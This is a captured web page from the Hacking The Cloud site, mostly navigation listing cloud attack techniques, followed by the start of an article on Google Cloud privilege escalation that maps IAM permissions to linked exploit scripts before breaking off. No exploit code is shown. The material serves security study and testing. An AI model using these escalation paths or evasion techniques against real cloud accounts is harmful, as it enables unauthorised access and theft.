3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3 checked> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=true> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Aloïs THÉVENOT</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/exploitation/gcp_iam_privilege_escalation.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=privilege-escalation-in-google-cloud-platform>Privilege Escalation in Google Cloud Platform<a class=headerlink href=#privilege-escalation-in-google-cloud-platform title="Permanent link">&para;</a></h1> <table> <thead> <tr> <th>Permission</th> <th> Resources</th> </tr> </thead> <tbody> <tr> <td><code>cloudbuilds.builds.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/working-as-intendedrce-to-iam-privilege-escalation-in-gcp>Blog Post</a></td> </tr> <tr> <td><code>cloudfunctions.functions.create</code></td> <td><a 